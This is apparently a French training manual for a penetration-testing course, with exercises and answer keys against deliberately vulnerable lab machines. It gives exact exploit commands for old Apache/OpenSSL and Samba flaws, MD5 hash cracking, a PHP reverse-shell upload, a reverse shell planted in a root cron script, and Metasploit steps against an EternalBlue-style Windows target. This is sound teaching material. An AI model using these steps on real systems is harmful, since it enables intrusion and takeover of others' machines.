• Il est également recommandé de suivre les étapes décrites dans l’énoncé

• VirtualBox installé

• La VM Kali Linux installé

• Une VM vulnérable :                    
https://drive.google.com/file/d/1YHQka4HLtcMa7v37Go_uD-
AFl02Q55IM/view?usp=sharing

• Les 2 VMs doivent être dans le même réseau NAT

• Un script en python fonctionnel

• Lancement de scan contre une machine vulnérable

1. Pour le formateur :

2. Pour l’apprenant :

3. Conditions de réalisation :

4. Critères de réussite :

https://drive.google.com/file/d/1YHQka4HLtcMa7v37Go_uD-AFl02Q55IM/view?usp=sharing
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Étape 1 : comprendre un script Python 

Activité 3
Écriture d’un script en Python

1. Python peut être utilisé pour construire un scanner ICMP (Internet Control Message Protocol) simple pour identifier les cibles potentielles sur le réseau. Cependant, les

paquets ICMP peuvent être surveillés ou bloqués car l'organisation cible ne s'attendrait pas à ce qu'un utilisateur régulier "pinge un serveur". D'autre part, les systèmes

peuvent être configurés pour ne pas répondre aux requêtes ICMP. Ce sont les principales raisons pour lesquelles l'utilisation de l'ARP (Address Resolution Protocol)

pour identifier les cibles sur le réseau local est plus efficace. Considérons ce code Python :
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Étape 1 : comprendre un script Python 

Activité 3
Écriture d’un script en Python

Exercices

1. Quel module a été utilisé pour créer les paquets de requête ARP ?

2. Quelle variable auriez-vous besoin de changer en fonction de votre sous-réseau IP local ?

3. Quelle variable changeriez-vous pour exécuter ce code sur un système avec l'interface réseau nommée ens33 ?

4. Lancer le script contre votre réseau local sur lequel existe la machine Kali Linux et la machine Kioptrix et vérifier que l’ip de Kioptrix est trouvé.
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Étape 1 : comprendre un script Python 

Activité 3
Écriture d’un script en Python

réponses

1. Quel module a été utilisé pour créer les paquets de requête ARP ?

scapy

2. Quelle variable auriez-vous besoin de changer en fonction de votre sous-réseau IP local ?

ip_range

3. Quelle variable changeriez-vous pour exécuter ce code sur un système avec l'interface réseau nommée ens33 ?

interface

4. Lancer le script contre votre réseau local sur lequel existe la machine Kali Linux et la machine Kioptrix et vérifier que l’ip de Kioptrix est trouvé.
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Étape 2 : écrire un script de scanner en python

Activité 3
Écriture d’un script en python

Exercices :

https://docs.python.org/fr/3/howto/sockets.html

L’objectif de cette étape est de construire un scanner de port simple.

1. Écrire un script python qui suit l’algorithme suivant :

• Créer un socket  TCP/IPV4 qui a comme timeout 0.5 s

• Utiliser le socket pour se connecter à un hôte avec comme entrées l’ip de kioptrix et le port 80

• Afficher la réponse de la connexion 

• Terminer la connexion du socket

• En cas d’erreur, utiliser une exception pour sauter l’erreur 

2. Lancer le script. Quel est le résultat affiché

3. Modifier le script en utilisant le port 3308 au lieu de 80

4. Lancer le script. Quel est le résultat affiché

5. D’après les résultats du scan de nessus des ports ouverts sur la machine Kioptrix( ou vérifier avec un scan nmap). À quoi correspond chaque résultat affiché

https://docs.python.org/fr/3/howto/sockets.html
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Étape 2 : écrire un script de scanner en Python

Activité 3
Écriture d’un script en Python

Exercices :

https://docs.python.org/fr/3/howto/sockets.html

6. Apporter les améliorations suivantes au script :

• Utiliser une boucle for qui itère sur l’ensemble des ports de 1 à 65535 et les affiche 

• Transformer le code de la connexion avec le socket en fonction qui retournera le résultat de la requête de connexion au lieu de l’afficher si la connexion est 

établie.

• Modifier la boucle précédente en remplaçant l’affichage du port par un appel de la fonction créée 

• Si la fonction retourne un résultat d’une connexion établie, ajouter le numéro de port dans une liste

• Afficher la liste des ports ouverts en ordre et afficher un message « aucun port n’est ouvert si la liste reste vide »

7. Lancer le script contre la machine Kioptrix et vérifier que les ports ouverts sont les mêmes ports découverts par nessus.

https://docs.python.org/fr/3/howto/sockets.html
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Étape 2 : écrire un script de scanner en Python

Activité 3
Écriture d’un script en Python

Réponses

L’objectif de cette étape est de construire un scanner de port simple.

Écrire un script Python qui suit l’algorithme suivant :

• Créer un socket  TCP/IPV4 qui a comme timeout 0.5 s

• Utiliser le socket pour se connecter à un hôte avec comme entrées l’ip de kioptrix et le port 80

• Afficher la réponse de la connexion 

• Terminer la connexion du socket

• En cas d’erreur, utiliser une exception pour sauter l’erreur 
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Étape 2 : écrire un script de scanner en Python

Activité 3
Écriture d’un script en Python

Réponses

Lancer le script. Quel est le résultat affiché ?

Le résultat affiché est 0 

Modifier le script en utilisant le port 3308 au lieu de 80

Lancer le script. Quel est le résultat affiché ?

Le résultat affiché est 111 ≠ 0 

D’après les résultats du scan de nessus des ports ouverts sur la machine Kioptrix (ou vérifier avec un scan nmap). À quoi correspond chaque résultat affiché ?

• Le résultat 0 correspond à un port ouvert

• Tout résultat différent de 0 correspond à un port non ouvert ( filtré/fermé)
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Étape 2 : écrire un script de scanner en python

Activité 3
Écriture d’un script en python

Réponses

Apporter les améliorations suivantes au script :

• Utiliser une boucle for qui itère sur l’ensemble des ports de 1 à 65535 et les affiche 

• Transformer le code de la connexion avec le socket en fonction qui retournera le résultat de la requête de connexion au lieu de l’afficher si la connexion est 

établie.
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Étape 2 : écrire un script de scanner en Python

Activité 3
Écriture d’un script en Python

Réponses

• Modifier la boucle précédente en remplaçant l’affichage du port par un appel de la fonction créée 

• Si la fonction retourne un résultat d’une connexion établie, ajouter le numéro de port dans une liste

• Afficher la liste des ports ouverts en ordre et afficher un message « aucun port n’est ouvert si la liste reste vide »
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Étape 2 : écrire un script de scanner en Python

Activité 3
Écriture d’un script en Python

réponses

Exemple de script final : Le lancement du script contre kioptrix donne les résultats suivants :

Qui sont exactement les mêmes ports découverts par nessus



Dans ce module, vous allez :

PARTIE 3

EXPLOITER LES VULNÉRABILITÉS AU SEIN 
D’UN SYSTÈME D’INFORMATION

• Apprendre à utiliser plusieurs fonctionnalités de nmap

• Identifier des vulnérabilités avec différents outils 

• Exploiter des vulnérabilités manuellement ou en utilisant des 
frameworks d’exploitation

35 heures



Compétences visées :

Recommandations clés :

ACTIVITÉ 1

REALISER UN TEST D’INTRUSION 1

• Scanner des ports des services avec nmap

• Analyser les résultats des scans et identifier les vulnérabilités

• Connaître les méthodes d’exploitation 

11 heures

• Le processus de test d’intrusion n’est pas un processus linéaire, 
c’est un processus avec beaucoup d’essais et d’échecs

• Apprendre le fonctionnement de chaque service rencontré



CONSIGNES

• Il n’y pas une seule solution possible à chaque question

• Il faut orienter les apprenants en cas de blocage et donner des indices.

• Les réponses ne doivent être présentes qu’à la fin du temps prévu pour chaque
activité

• L’intérêt de chaque activité est le processus de test d’intrusion et les techniques
utilisées et pas forcément le résultat final

• Pour chaque question, se rappeler des étapes précédentes et de ce qui a été fait
avant

• Prendre des notes durant l’activités

• La VM Kali linux installée et à jour

• La VM vulnérable à télécharger sur le lien suivant : 
https://drive.google.com/file/d/1YHQka4HLtcMa7v37Go_uD-
AFl02Q55IM/view?usp=sharing

• Les 2 VMs doivent être sur le même réseau NAT

• Connaissance aisée des méthodes d’exploitation

• Exploitation maitrisée des vulnérabilités identifiées

1. Pour le formateur :

2. Pour l’apprenant :

3. Conditions de réalisation :

4. Critères de réussite :

https://drive.google.com/file/d/1YHQka4HLtcMa7v37Go_uD-AFl02Q55IM/view?usp=sharing
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Étape 1 : scan et identification de vulnérabilités

Activité 1
Réaliser un test d’intrusion 1

L’objectif de cette activité est d’exploiter des vulnérabilités de 2 services différents. Pour ce faire, nous allons continuer à utiliser la VM kioptrix installé dans la partie

précédente.

Exercices

1. Quelle est l'ip de la machine cible ?

2. Proposer un scan nmap pour scanner les ports ouverts. Combien de ports TCP sont ouverts ?

3. Quel service/version correspond à chaque port ? (seulement les ports avant 1024)

4. Pour chaque service/version, chercher s'il y a une vulnérabilité correspondante

5. Est-ce qu'il y a une vulnérabilité qui correspond au service disponible sur le port 80 ?

6. Si une vulnérabilité est identifiée pour le service sur le port 80, décrire son fonctionnement et ses consequences.

7. Utiliser metasploit pour trouver la version du service disponible sur le port 139. Quel module est utilisé ?

8. Chercher une vulnérabilité pour cette version et tester les exploits disponible pour cette vulnérabilité.
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Étape 2 : exploitation des vulnérabilités

Activité 1
Réaliser un test d’intrusion 1

Exercices

1. Récupérer les exploits pour les vulnérabilités identifiées et tester les. Utiliser la commande gcc exploit.c -o exploit -lcrypto pour compiler un exploit écrit en C

2. L'utilisation d'un exploit doit vous permettre d'avoir accès à la machine cible. Avec quel utilisateur ?

3. D’après les informations sur l'exploit utilisé et quel est le niveau de privilèges de l'accès qu'il est censé donner.

4. Est-ce que l'exploit utilisé s'est exécuté sans erreur ?

5. S'il y avait une erreur, elle est due à quoi ?

6. Proposer une solution pour éviter cette erreur et utiliser la.

7. L'utilisation d'un exploit d’une vulnérabilité d’un autre service que http doit vous permettre d'avoir accès à la machine cible. Avec quel utilisateur ?
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Étape 1 : scan et identification de vulnérabilités

Activité 1
Réaliser un test d’intrusion 1

réponses

Quelle est l'ip de la machine cible ?

L’ip de la machine cible kioptrix a été identifiée dans la partie précédente avec les commandes arp-scan –l ou  netdiscover –r X.X.X.X/24

Dans notre cas, l’ip cible est 192.168.100.9

Proposer un scan nmap pour scanner les ports ouverts. Combien de ports TCP sont ouverts ?

Plusieurs scan nmap sont possible pour identifier les ports ouverts. 

Pour une réponse rapide avec des résultats sans beaucoup de details, 

nous utilisons le scan nmap suivant :  nmap -T4 -sS -Pn -p1-1024 192.168.100.9

5 ports semblent ouverts sur le range entre 1 et 1024
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Étape 1 : scan et identification de vulnérabilités

Activité 1
Réaliser un test d’intrusion 1

réponses

Quel service/version correspond à chaque port ? (seulement les ports avant 1024)

Pour chaque service/version, chercher s'il y a une vulnérabilité correspondante.

Pour chercher des vulnérabilités pour les services identifies, il faut connaître la version de chaque service et en même temps utiliser les scripts par défaut de nmap, nous

utilisons la commande suivante pour le faire : nmap -sC -sV -p 22,80,11,139,443 192.168.100.9

port service

22 SSH

80 HTTP

111 RPCBIND

139 SMB

443 HTTPS
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Étape 1 : scan et identification de vulnérabilités

Activité 1
Réaliser un test d’intrusion 1

réponses

Les scripts par défaut de nmap n’ont identifié aucune

vulnérabilité. Cependant, nous avons maintenant les 

versions de chaque service. Nous utilisons ces 

informations pour chercher des vulnérabilités sur google

(exploit-db) ou bien utiliser la copie de exploit-db avec

searchsploit
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Étape 1 : scan et identification de vulnérabilités

Activité 1
Réaliser un test d’intrusion 1

réponses

Est-ce qu'il y a une vulnérabilité qui correspond au service disponible sur le port 80 ?

La service http sur le port 80 est identifié avec Apache httpd 1.3.20. Grâce à searchsploit nous voyons que cette version d’Apache est vulnerable à plusieurs vulnérabilités.
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Étape 1 : scan et identification de vulnérabilités

Activité 1
Réaliser un test d’intrusion 1

réponses

Si une vulnérabilité est identifiée pour le service sur le port 80, décrire son fonctionnement et ses conséquences.

Le type de vulnérabilités qui nous intéressent dans un test d’intrusion sont les vulnérabilités qui nous donnent un accès local ou remote sur la machine cible.

La vulnérabilité remote buffer overflow sempble répondre à ce point. Un Buffer overflow se produit lorsqu’un programme qui écrit des données dans une 

mémoire tampon surcharge la capacité de cette mémoire tampon. l’attaquant peut délibérément écraser des zones connues pour contenir du code executable

et gagner accès à la machine cible (voir le guide de soutien pour plus de details.

Utiliser metasploit pour trouver la version du service disponible sur le port 139. Quel module est utilisé ?

Si nous lançons Metasploit et cherchons smb version : search smb version. Nous allons trouver le module auxiliary/scanner/smb/smb_version qui permet de 

détecter le version smb installé
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Étape 1 : scan et identification de vulnérabilités

Activité 1
Réaliser un test d’intrusion 1

réponses

Après avoir renseigné les informations sur l’ip du host cible, nous pouvons lancer le scanner :

La version smb est : Samba 2.2.1a
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Étape 1 : scan et identification de vulnérabilités

Activité 1
Réaliser un test d’intrusion 1

réponses

Chercher une vulnérabilité pour cette version et tester les exploits disponible pour cette vulnérabilité.

Nous utilisons encore une fois searchsploit avec la version de smb pour chercher des vulnérabilités

Les résultats de searchsploit montrent que la version samba 2.2.1a avec la version linux est aussi vulnérable à un remote code execution. 
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Étape 2 : exploitation des vulnérabilités

Activité 1
Réaliser un test d’intrusion 1

Réponses

Récupérer les exploits pour les vulnérabilités identifiées et tester les. Utiliser la commande gcc exploit.c -o exploit -lcrypto pour compiler un exploit écrit en C

Après avoir tester les 3 exploits buffer overflow, l’exploit 47080.c semble fonctionner : 

Récupérer une copie du code de l’exploit :

searchsploit –m unix/remote/47080.c

Compiler le code de l’exploit 

gcc 47080.c -o exploit -lcrypto

(les erreurs n’empêchent pas la compilation)
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Étape 2 : exploitation des vulnérabilités

Activité 1
Réaliser un test d’intrusion 1

Réponses

L'utilisation d'un exploit doit vous permettre d'avoir accès à la machine cible. Avec quel utilisateur ?

En lançant l’exploit compilé ./exploit nous avons les informations sur le fonctionnement

de l’exploit. Il faut comme entrées : le code de la distribution de la machine cible, 

l’ip de la machine cible, le port utilisé pour https (la vulnérabilité concerne une version 

de ssl) et le nombre de tentatives  d’exploitation.
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Étape 2 : exploitation des vulnérabilités

Activité 1
Réaliser un test d’intrusion 1

Réponses

L'utilisation d'un exploit doit vous permettre d'avoir accès à la machine cible. Avec quel utilisateur ?

En lançant l’exploit avec la commande suivante : 

./exploit 0x6b 192.168.100.9 -c 40

Nous avons eu un accès à la machine cible avec l’utilisateur Apache
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Étape 2 : exploitation des vulnérabilités

Activité 1
Réaliser un test d’intrusion 1

Réponses

D’après les informations sur l'exploit utilisé, quel est le niveau de privilèges de l'accès qu'il est censé donner ?

D’après les informations sur l’exploit, il est censé nous donner un accès root

Est-ce que l'exploit utilisé s'est exécuté sans erreur ?

Lors de l’exécution de l’exploit, nous voyons une erreur de connexion SSL

S'il y avait une erreur, elle est due à quoi ?

L’exploit que nous avons utilisé tente de se connecter à une url dl.packetstormsecurity.net:443 pour récupérer un autre code responsable de l’élévation des 

privileges, mais la connexion échoue 
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étape 2 : exploitation des vulnérabilités

Activité 1
Réaliser un test d’intrusion 1

Réponses

Proposer une solution pour éviter cette erreur et utiliser la.

Nous proposons télécharger l’exploit de l’élévation de privilèges et de l’héberger sur un serveur http en local dans notre machine Kali Linux. Ensuite, modifier le 

code d’exploit 47080.c pour changer l’url où il cherchera l’exploit de l’élévation de privilèges avec l’url de notre serveur http local.

Récupération du code d’exploit responsable de l’élévation des privilèges sur github: 

wget https://raw.githubusercontent.com/piyush-saurabh/exploits/master/ptrace-kmod.c

Lancement d’un serveur http local hébergement le code ptrace-kmod.c

https://raw.githubusercontent.com/piyush-saurabh/exploits/master/ptrace-kmod.c
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Étape 2 : exploitation des vulnérabilités

Activité 1
Réaliser un test d’intrusion 1

Réponses

Modification de la partie du script original pour utiliser notre serveur http local 

Il faut recompiler le code d’exploit 47080.c après sa modification :  gcc 47080.c -o exploit -lcrypto
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Étape 2 : exploitation des vulnérabilités

Activité 1
Réaliser un test d’intrusion 1

Réponses

Maintenant nous lançons l’exploit comme auparavant et nous devons avoir un accès root 

sur la machine : 
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Étape 2 : exploitation des vulnérabilités

Activité 1
Réaliser un test d’intrusion 1

Réponses

L'utilisation d'un exploit d’une vulnérabilité d’un autre service que http doit vous permettre d'avoir accès à la machine cible. Avec quel utilisateur ?

Nous pouvons aussi exploiter la vulnérabilité découverte sur le service smb avec l’exploit 10.c que nous copions et compilons.
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Étape 2 : exploitation des vulnérabilités

Activité 1
Réaliser un test d’intrusion 1

Réponses

En lançant l’exploit nous avons les informations des entrées attendues pour son fonctionnement. Nous lançons ensuite l’exploit en précisant le code 0 pour linux et 

l’ip de la machine cible :

Nous avons alors directement un accès root à la machine !



Compétences visées :

Recommandations clés :

ACTIVITÉ 2

REALISER UN TEST D’INTRUSION 2

• Scanner des ports des services avec nmap

• Analyser les résultats des scans et identifier les vulnérabilités

• Connaître les méthodes d’exploitation 

14 heures

• Le processus de test d’intrusion n’est pas un processus linéaire 
C’est un processus avec beaucoup d’essais et d’échecs

• Apprendre le fonctionnement de chaque service rencontré



CONSIGNES

• Il n’y pas une seule solution possible à chaque question

• Il faut orienter les apprenants en cas de blocage et donner des indices.

• Les réponses ne doivent être présentes qu’à la fin du temps prévu pour chaque
activité

• L’intérêt de chaque activité est le processus de test d’intrusion et les techniques
utilisées et pas forcément le résultat final

• Pour chaque question, se rappeler des étapes précédentes et de ce qui a été fait avant

• Prendre des notes durant l’activités

• La VM Kali linux installée et à jour

• La VM vulnérable à télécharger sur le lien suivant : 
https://drive.google.com/file/d/1Tr6fGvRDPYIxVJN49z9nSbooHJ-
2rpGj/view?usp=sharing

• Les 2 VM doivent être sur le même réseau NAT

• Connaissance aisée des méthodes d’exploitation

• Exploitation maitrisée des vulnérabilités identifiées

1. Pour le formateur :

2. Pour l’apprenant :

3. Conditions de réalisation :

4. Critères de réussite :

https://drive.google.com/file/d/1Tr6fGvRDPYIxVJN49z9nSbooHJ-2rpGj/view?usp=sharing
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Étape 1 : scan et identification de vulnérabilités

Activité 2
Réaliser un test d’intrusion 2

Exercices

1. Quelle est l'ip de la machine cible ? (il est possible que la machine ne récupère pas d’IP automatique, dans ce cas, authentifier vous à la machine cible avec root/tcm et

exécuter la commande dhclient

2. Combien de ports TCP sont ouverts ?

3. Quel service/version correspond à chaque port ? (seulement les ports avant 1024)

4. Pour chaque service/version chercher s'il y a une vulnérabilité correspondante

5. Enumérer le service disponible sur le port 80. Qu'est ce que vous recommandez au propriétaire du serveur.

6. Enumérer les autres services

7. Si l'énumération est bien réalisée, cela permettra de trouver un hash de mot de passe pour l'utilisateur Rum Ham. Récupérer le hash
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Étape 2 : exploitation des vulnérabilités

Activité 2
Réaliser un test d’intrusion 2

Exercices

1. Si l'énumération est bien réalisée, cela permettra de trouver un hash de mot de passe pour l'utilisateur Rum Ham. Récupérer le hash.

2. Cracker le hash en utilisant : hash-identifier et hashcat (si vous avez un bon pc. Utiliser crackstation.net sinon) . Récupérer le mot de passe.

3. Si l'énumération est bien réalisée, cela permettra à trouver un sous-répertoire intéressant.

4. Utiliser toutes les informations trouvées pour avoir accès à l'app sur le service du port 80.

5. Après avois accès à l'app, énumérer l'application afin de comprendre ses fonctionnalités. S'agit-il d'un Framework connu ? Est-il possible de trouver d'autres sous-

répertoires ? Est-il possible d'uploader des fichiers ?

6. L'utilisation d'une fonctionnalité mal sécurisée doit vous permettre d'avoir accès à la machine cible. Avec quel utilisateur ? Indice : la fonctionnalité d'uploader des

images peut être utilisée pour d'autres types de fichier, comme un reverse shell en php (https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-

reverse-shell.php).
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Étape 3 : élévation des privilèges 

Activité 2
Réaliser un test d’intrusion 2

Exercices

1. Utiliser l'outil linpeas.sh pour énumérer les possibilités d'élever les privilèges de l'utilisateur et noter les éléments importants ( username/passwords, crons....).

2. Utiliser les informations trouvées pour avoir accès à la machine avec un autre utilisateur.

3. Utiliser encore l'outil linpeas.sh pour énumérer les possibilités d'élever les privilèges de l'utilisateur et noter les éléments importants ( username/passwords, crons....).

4. Proposer une méthode pour exploiter une configuration non sécurisée pour avoir un accès root.
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Étape 1 : scan et identification de vulnérabilités

Activité 2
Réaliser un test d’intrusion 2

Réponses

Quelle est l'ip de la machine cible ?

192.168.100.11

Combien de ports TCP sont ouverts ?

3 ports ouverts (21,22,80)
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Étape 1 : scan et identification de vulnérabilités

Activité 2
Réaliser un test d’intrusion 2

Réponses

Quel service/version correspond à chaque port ? (seulement les ports avant 1024). Lancer un scan nmap avec les scripts par défaut (-sC) et l’énumération de la version (-

sV) : nmap -sC -sV -p 21,22,80 192.168.100.11

port Service version

21 FTP vsftpd 3.0.3

22 SSH OpenSSH 7.9p1

80 HTTP Apache 2.4.38
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Étape 1 : scan et identification de vulnérabilités

Activité 2
Réaliser un test d’intrusion 2

Réponses

• Pour chaque service/version chercher s'il y a une vulnérabilité correspondante :

Aucune version des services identifiés ne semble concernée par une vulnérabilité publique

• Enumérer service disponible sur le port 80. Qu'est ce que vous recommandez au propriétaire du serveur.

Si nous visitons le site web sur le port 80, nous avons cette page d’accueil : 

Nous recommandons au propriétaire de ce serveur de désactiver 

la publication de cette page tant que le serveur en 

question n’est pas encore configurée. Une configuration par défaut d’un

serveur exposé peut contenir une vulnérabilité qui peut être exploitée

et ensuite utilisée pour exploiter d’autres serveurs ou services. 
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Étape 1 : scan et identification de vulnérabilités

Activité 2
Réaliser un test d’intrusion 2

Réponses

• Pour chaque service/version chercher s'il y a une vulnérabilité correspondante :

Aucune version des services identifiés ne semble concernée par une vulnérabilité publique

• Enumérer les autres services :

L’énumération du service ftp dévoile qu’une connexion en Anonymous est possible comme l’a montré déjà le scan nmap

ftp anonymous nous permet de nous connecter au serveur ftp sans mot de passe (voir guide de soutien). Dans ce cas, nous nous connecter avec anonymous et 

sans mot de passe :
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étape 1 : scan et identification de vulnérabilités

Activité 2
Réaliser un test d’intrusion 2

Réponses

Le serveur ftp contient un fichier note.txt que nous allons récupérer dans note machine locale avec get note.txt :
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Étape 2 : exploitation des vulnérabilités

Activité 2
Réaliser un test d’intrusion 2

Réponses

Si l'énumération est bien réalisée, cela permettra à trouver un hash de mot de passe pour l'utilisateur Rum Ham. Récupérer le hash.

Le contenu du fichier note.txt est un mail avec une requête SQL pour créer un utilisateur avec les informations suivantes :

StudentRegno`, `studentPhoto`, `password`, `studentName`, `pincode`, `session`, `department`, `semester`, `cgpa`, `creationdate``updationDate`)

('10201321', '', 'cd73502828457d15655bbd7a63fb0bc8', 'Rum Ham', '777777', '', '', '', '7.60', '2021-05-29 14:36:56', ’’);

Du coup, le mot de passe haché de Rum Ham est cd73502828457d15655bbd7a63fb0bc8

cracker le hash en utilisant : hash-identifier et hashcat(si vous avez un bon pc. utiliser crackstation.net sinon) . Récupérer le mot de passe.

Hash-identifier nous permet d’identifier l’algorithme de hachage : MD5
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Étape 2 : exploitation des vulnérabilités

Activité 2
Réaliser un test d’intrusion 2

Réponses

Nous pouvons utiliser hashcat avec une wordlist connue et qui existe par défaut sur Kali Linux rockyou.txt

La commande est : hashcat –m 0 cd73502828457d15655bbd7a63fb0bc8 /usr/share/wordlists/rockyou.txt

-m 0 pour préciser le type de hachage utilisé, MD5 dans notre cas

Le mot de passe cracké est : student
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Étape 2 : exploitation des vulnérabilités

Activité 2
Réaliser un test d’intrusion 2

Réponses

Une autre alternative pour cracker le hash est d’utiliser un site en ligne, crackstation.net par exemple :  
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Étape 2 : exploitation des vulnérabilités

Activité 2
Réaliser un test d’intrusion 2

Réponses

Si l'énumération est bien réalisée, cela permettra à trouver un sous-répertoire intéressant.

Lors de la phase d’énumération du service http, nous avons lancer un brute-force contre l’url http://192.168.100.11

Nous avons utilisé par exemple fuff avec une wordlist qui existe sur Kali linux, voici la commande utilisée :

ffuf –w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt:FUZZ –u http://192.168.100.11/FUZZ

http://192.168.100.11/
http://192.168.100.11/FUZZ
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Étape 2 : exploitation des vulnérabilités

Activité 2
Réaliser un test d’intrusion 2

Réponses

Utiliser toutes les informations trouvées pour avoir accès à l'app sur le service du port 80.

Deux répertoires ont été découverts, academy et phpmyadmin. Nous visitons les 2 et nous essayons de nous authentifier avec les informations de Rum Hum
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Étape 2 : exploitation des vulnérabilités

Activité 2
Réaliser un test d’intrusion 2

Réponses

Les tentatives d’authentification sur phpmyadmin ont toutes échoués. Alors que l’authentification sur l’application academy est possible avec  :

10201321/student

Après avois accès à l'app, énumérer l'application afin de comprendre ses fonctionnalités. S'agit-il d'un Framework connu ? Est-il possible de trouver d'autres sous-

répertoires ? Est-il possible d'uploader des fichiers ?

Après la connexion sur l’app, l’app nous demande de changer le mot de passe et après nous pouvons énumérer

les autres fonctionnalités.

Parmi les fonctionnalités disponibles student registration où nous pouvons uploader (charger) une image :

Après avoir testé, nous confirmons qu’il est possible d’uploader une image ou tout autre type de fichier.
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Étape 2 : exploitation des vulnérabilités

Activité 2
Réaliser un test d’intrusion 2

Réponses

L'utilisation d'une fonctionnalité mal sécurisée doit vous permettre d'avoir accès à la machine cible. Avec quel utilisateur ? Indice : la fonctionnalité d'uploader des images

peut être utilisée pour d'autres types de fichier, comme un reverse shell en php (https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-

shell.php).

Nous suivons l’indice donné dans la question. Il s’agit d’un code de reverse shell que nous modifions avec l’IP de notre machine Kali Linux et un port d’écoute.

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
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Étape 2 : exploitation des vulnérabilités

Activité 2
Réaliser un test d’intrusion 2

Réponses

L’upload du code sur l’application et le lancement d’un ncat en écoute sur le port 4444 nous donnera directement un reverse shell sur la machine cible : 
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Étape 3 : élévation des privilèges 

Activité 2
Réaliser un test d’intrusion 2

Réponses

Utiliser l'outil linpeas.sh pour énumérer les possibilités d'élever les privilèges de l'utilisateur et noter les éléments importants ( username/passwords, crons....)

• linpeas.sh peut être récupéré sur le lien suivant : https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh

• Télécharger sur le script sur  la machine cible (dans le dossier /tmp)et lancer avec bash linpeas.sh

https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
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Étape 3 : élévation des privilèges 

Activité 2
Réaliser un test d’intrusion 2

Réponses

Utiliser les informations trouvées pour avoir accès à la machine avec un autre utilisateur.

Un autre utilisateur grimmie s’est connecté récemment à la machine :

Nous voyons aussi un mot de passe qui revient beaucoup :

Lors de la phase scan des ports, nous avons trouvé que le port 22 (ssh) est ouvert
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Étape 3 : élévation des privilèges 

Activité 2
Réaliser un test d’intrusion 2

Réponses

En testant de se connecter en ssh avec grimmie/My_V3ryS3cur3_P4ss nous arrivons à se connecter à la machine en ssh :
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Étape 3 : élévation des privilèges 

Activité 2
Réaliser un test d’intrusion 2

Réponses

Utiliser encore l'outil linpeas.sh pour énumérer les possibilités d'élever les privilèges de l'utilisateur et noter les éléments importants ( username/passwords, crons....)

De la même façon que précédemment nous lançons linpeas.sh

Linpeas.sh nous oriente vers un cron qui exécute un script backup.sh dans le dossier de grimmie exécuté en tant que root :

Proposer une méthode pour exploiter une configuration non sécurisée pour avoir un accès root

Le script bachkup.sh est exécuté dans le cron en tant que root mais peut être modifié par grimmie :
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Étape 3 : élévation des privilèges 

Activité 2
Réaliser un test d’intrusion 2

Réponses

Nous proposons de rajouter une ligne de code dans le script backup.sh qui nous donnera un reverse shell quand le script sera exécuté dans le cron :

Nous lançons un ncat en écoute sur le port choisi 4455 et nous attendons le reverse shell, au bout d’une minute nous devons recevoir le shell en tant que root !!



Compétences visées :

Recommandations clés :

ACTIVITÉ 3

REALISER UN TEST D’INTRUSION 3

• Scanner des ports des services avec nmap

• Analyser les résultats des scans et identifier les vulnérabilités

• Connaître les méthodes d’exploitation 

10 heures

• Le processus de test d’intrusion n’est pas un processus linéaire 
C’est un processus avec beaucoup d’essais et d’échecs

• Apprendre le fonctionnement de chaque service rencontré



CONSIGNES

• Il n’y pas une seule solution possible à chaque question

• Il faut orienter les apprenant en cas de blocage et donner des indices

• Les réponses ne doivent être présentes qu’à la fin du temps prévu pour chaque activité

• L’intérêt de chaque activité est le processus de test d’intrusion et les techniques
utilisées et pas forcément le résultat final

• Pour chaque question, se rappeler des étapes précédentes et de ce qui a été fait avant

• Prendre des notes durant l’activités

• La VM Kali linux installée et à jour

• La VM vulnérable à télécharger sur le lien suivant :https://drive.google.com/file/d/1-
H045gkMkItXAemzNypacML_CSVvpzS8/view?usp=sharing

• Les VMs doivent être dans le même réseau NAT

• Connaissance aisée des méthodes d’exploitation

• Exploitation maitrisée des vulnérabilités identifiées

1. Pour le formateur :

2. Pour l’apprenant :

3. Conditions de réalisation :

4. Critères de réussite :
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Étape 1 : scan et identification de vulnérabilités

Activité 3
Réaliser un test d’intrusion 3

Dans cette activité nous identifions et exploitons une vulnérabilité très connue sur les systèmes windows et qui était responsable des conséquences su ransomware

wannacry. Pour exploiter cette vulnérabilité nous utiliserons uniquement Metasploit et nous verrons comment Metasploit peut être utilisé jusqu’à la phase des

mouvements latéraux.

Exercices

1. Quel est l’ip de la machine cible ?

2. Combien de ports sont ouverts avec un numéro de port inférieur à 1000 ?

3. A quoi cette machine est-elle vulnérable ? (Réponse sous forme de : ms??-???, ex : ms08-067).
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Étape 2 : exploitation des vulnérabilités

Activité 3
Réaliser un test d’intrusion 3

Exercices

1. Démarrer Metasploit et Trouver le code d'exploitation que nous exécuterons sur la machine. Quel est le chemin complet du code ? (Ex : exploit/........).

2. Afficher les options et définir la valeur requise. Quel est le nom de cette valeur ? (Toute en majuscule pour la soumission).

3. Habituellement, ce serait bien d'exécuter cet exploit tel quel ; cependant, dans un souci d'apprentissage, vous devez faire une dernière chose avant d'exploiter la cible.

Saisissez la commande suivante et appuyez sur Entrée : set payload windows/x64/shell/reverse_tcp

4. Cela fait, exécuter l'exploit !

5. Confirmer que l'exploit s'est exécuté correctement. Vous devrez peut-être appuyer sur Entrée pour que le shell DOS apparaisse. Envoyer le shell enarrière-plan avec

(CTRL+Z). Si cela échoue, vous devrez peut-être redémarrer la machine virtuelle cible. Essayez de l'exécuter à nouveau avant un redémarrage de la cible.



127Copyright - Tout droit réservé - OFPPT

PA
R

TI
E 

3

Étape 3 : élévation des privilèges 

Activité 3
Réaliser un test d’intrusion 3

Exercices

1. Si vous ne l'avez pas déjà fait, mettez en arrière-plan le shell précédemment obtenu (CTRL + Z). Recherchez en ligne comment convertir un shell en shell meterpreter

dans metasploit. Quel est le nom du module de publication que nous utiliserons ? (Chemin exact, similaire à l'exploit que nous avons précédemment sélectionné)

2. Sélectionnez ceci (utilisez MODULE_PATH). Afficher les options, quelle option devons-nous modifier ?

3. Définissez l'option requise, vous devrez peut-être répertorier toutes les sessions pour trouver votre cible ici.

4. Exécuter ! Si cela ne fonctionne pas, essayez de terminer l'exploit de la tâche précédente une fois de plus.

5. Une fois la conversion du shell meterpreter terminée, sélectionnez cette session à utiliser.

6. Vérifiez que nous avons escaladé vers NT AUTHORITY\SYSTEM. Exécutez getsystem pour le confirmer. N'hésitez pas à ouvrir un shell DOS via la commande 'shell' et

